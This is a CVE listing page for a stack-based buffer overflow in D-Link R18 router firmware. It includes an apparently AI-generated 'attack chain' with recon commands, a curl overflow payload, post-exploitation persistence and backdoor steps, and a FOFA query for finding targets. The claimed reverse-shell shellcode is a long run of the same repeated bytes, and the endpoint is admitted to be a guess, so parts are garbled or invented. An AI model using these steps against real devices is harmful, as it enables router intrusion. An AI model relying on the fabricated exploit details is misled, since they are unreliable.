CVE Professor
/
All CVEs
CVE-2026-138366

CVE-2026-138366 — CWE-119 · CWE-121

CRITICAL CVSS 10 NVD

A vulnerability was determined in D-Link R18 A1 1.20.B01. This impacts the function GetDeviceSettings_put of the component httpd. Executing a manipulation of the argument Target can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

A vulnerability was determined in D-Link R18 A1 1.20.B01. This impacts the function GetDeviceSettings_put of the component httpd. Executing a manipulation of the argument Target can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138366 is a stack‑based buffer overflow in the GetDeviceSettings_put handler of the httpd component in D‑Link R18 A1 firmware 1.20.B01.
The function accepts a Target argument (most likely a string) that is copied onto the stack without any bounds checking. The size of the buffer on the stack is fixed, but the code does not verify that the incoming Target value fits. An attacker can therefore send a payload that exceeds the buffer size, overwriting the return address and any other adjacent stack data. Because the vulnerability is reachable over the network and requires no authentication or user interaction, a remote attacker can trigger it from any host that can reach the device’s HTTP interface.

CWE mapping

CWEDescription
CWE‑119Buffer Copy without Checking Size of Input
CWE‑121Stack‑Based Buffer Overflow

CVSS 3.1:

  • Attack Vector (AV): Network (remote)

  • Attack Complexity (AC): Low – no special conditions required

  • Privileges Required (PR): None – unauthenticated

  • User Interaction (UI): None – automatic exploitation

  • Scope (S): Changed – compromise of the device’s internal state

  • Confidentiality (C): High – arbitrary code execution → full data disclosure

  • Integrity (I): High – arbitrary code execution → tampering

  • Availability (A): High – arbitrary code execution → crash or denial of service




⚡ Attack Chain

NOTE – The exact URI and parameter names are not disclosed in the CVE text. The following example uses a typical REST‑style endpoint (/api/GetDeviceSettings_put) and a Target query parameter to illustrate the attack class. If the real endpoint differs, the same principle applies: send a crafted HTTP request that overflows the Target buffer.

1. Discovery & Reconnaissance

StepTechniqueWhat to look for
1.1Network scanningnmap -p 80,443 <target> to find open HTTP/HTTPS ports.
1.2Banner grabbingcurl -I http://<target> – look for Server: D-Link or firmware version in headers.
1.3Web‑application fingerprintingAccess the default login page (http://<target>/login.html). The page often contains a comment like <!-- D-Link R18 A1 firmware 1.20.B01 -->.
1.4API enumerationProbe common API paths (/api/, /cgi-bin/) and look for GetDeviceSettings_put. A quick curl -X GET http://<target>/api/ may reveal a JSON list of endpoints.

2. Exploitation

1. Craft the overflow payload
- The vulnerable buffer is, for example, 256 bytes.
- The attacker sends a string of 300 bytes, where the first 256 bytes fill the buffer, the next 4 bytes overwrite the saved return address, and the remaining bytes contain a ROP chain or shellcode.
- For demonstration, we’ll use a NOP sled (\x90) followed by a placeholder for shellcode.

2. Send the request

curl -X POST "http://<target>/api/GetDeviceSettings_put" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -d "Target=$(python3 -c 'print("A"*256 + "\x90"*16 + "SHELLCODE")')"

Explanation
- A*256 – fills the buffer.
- \x90*16 – NOP sled to slide into the shellcode.
- "SHELLCODE" – placeholder; in a real exploit this would be machine‑code that spawns a shell or executes a reverse‑shell payload.

3. Trigger the overflow
- The device processes the request, copies Target onto the stack, overflows, and jumps to the injected shellcode.
- Because the vulnerability is in httpd, the shellcode runs with the privileges of the web server process (often root or a privileged user on embedded devices).

3. Post‑exploitation

GoalTechniqueResult
Privilege EscalationThe shellcode runs as the web server user, which is typically root or a privileged account on the device.Full system access.
PersistenceWrite a cron job, modify /etc/rc.local, or drop a backdoor binary in /usr/bin/.Long‑term foothold.
Data ExfiltrationUse the shell to read /etc/passwd, configuration files, or network traffic logs.Confidential data leakage.
Denial of ServiceCrash the httpd process or the entire device by sending malformed requests repeatedly.Service disruption.
Practical payload example (reverse shell)
```c
// x86_64 shellcode that opens a reverse shell to 192.168.1.100:4444
unsigned char shellcode[] =
"\x48\x31\xd2\x48\xbb\x02\x00\x00\x00\x00\x00\x00\x00\x48\x89\xda\x48\x31\xc0\x48\x89\xcb\x48\x89\xda\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x48\x31\xdb\x48\x31\xed\x48\x31\xec\x48\x31\xef\x48\x31\xeb\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef\x48\x31\xed\x48\x31\xef

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-119 CWE-121
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.
6.3
CVE-2026-144888
A security vulnerability has been detected in vgmstream up to r2117. Affected is the function fopen_win of the
6.3
CVE-2026-144889
A vulnerability was detected in vgmstream r2117. Affected by this vulnerability is the function vgmstream_tags
6.3
CVE-2026-144893
A vulnerability was determined in vgmstream up to r2117. This issue affects the function get_falcom_looping of